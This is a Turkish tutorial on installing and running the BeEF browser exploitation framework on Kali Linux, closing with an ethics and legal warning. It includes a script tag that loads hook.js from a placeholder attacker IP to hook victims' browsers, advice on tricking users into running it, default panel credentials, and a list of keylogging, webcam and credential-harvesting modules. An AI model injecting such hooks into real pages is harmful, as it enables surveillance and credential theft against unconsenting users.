BeEF (Browser Exploitation Framework)

# BeEF Nedir?

BeEF (The Browser Exploitation Framework), özellikle istemci taraflı saldırılara odaklanan açık kaynaklı bir sızma testi aracıdır. Tarayıcılar üzerinden hedef sistemlerle etkileşime geçerek zafiyetleri sömürmek için kullanılır. BeEF; siber güvenlik testlerinde, web güvenlik araştırmalarında ve sosyal mühendislik saldırılarında yaygın olarak tercih edilir.

# BeEF Ne İşe Yarar?

* Tarayıcıları 'hook' ederek hedef sistemde komut çalıştırma.
* JavaScript ve web teknolojileri ile zafiyet tespiti.
* Sosyal mühendislik saldırıları (sahte giriş ekranları, pop-up mesajlar).
* Ağ içi bilgi toplama ve tarayıcı üzerinden port tarama.
* Kimlik bilgisi toplama (credential harvesting).

# Kali Linux Üzerinde BeEF Kurulumu

1. Sistem Güncellemesi:

sudo apt update && sudo apt upgrade -y

yazı tipi, ekran görüntüsü, grafik, grafik tasarım içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.

2. BeEF Kurulumu:

sudo apt install beef-xss -y

yazı tipi, grafik, ekran görüntüsü, grafik tasarım içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.

3. Yapılandırma Dosyasını Düzenleme (Opsiyonel):

sudo nano /etc/beef-xss/config.yaml

yazı tipi, ekran görüntüsü, grafik, tasarım içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.

# BeEF Nasıl Başlatılır?

BeEF’i başlatmak için terminale şu komutu girin:

sudo beef-xss

ekran görüntüsü, yazı tipi, grafik, metin içeren bir resim

Yapay zeka tarafından oluşturulmuş içerik yanlış olabilir.

Servis başladıktan sonra genelde şu bilgiler görünür:

- Panel URL: http://127.0.0.1:3000/ui/panel  
- Kullanıcı adı/şifre: (genelde beef / beef)  
- Hook.js URL: http://127.0.0.1:3000/hook.js

# Tarayıcıyı Hook Etme

Hook.js dosyasını bir web sayfasına ekleyerek veya sosyal mühendislik yöntemleriyle kullanıcıyı bu scripti çalıştırmaya ikna ederek tarayıcıyı 'hook' edebilirsiniz:

<script src="http://YOUR-IP:3000/hook.js"></script>

# BeEF Paneli Üzerinden Yapılabilecekler

* Alert, prompt, keylogger, webcam erişimi (tarayıcı izin verirse).
* Ağ tarama (internal IP aralıklarında).
* Tarayıcı hakkında detaylı bilgi toplama.
* Sosyal mühendislik modülleri (fake update, login popup).
* Exploit modülleri (CVE içerikleri).

# ⚠️ Güvenlik ve Etik Uyarı

BeEF yalnızca izinli test ortamlarında ve etik sızma testlerinde kullanılmalıdır. Habersiz kullanım yasal suç teşkil edebilir. Test ettiğiniz sistemin sahibi tarafından açık izin almanız gerekmektedir.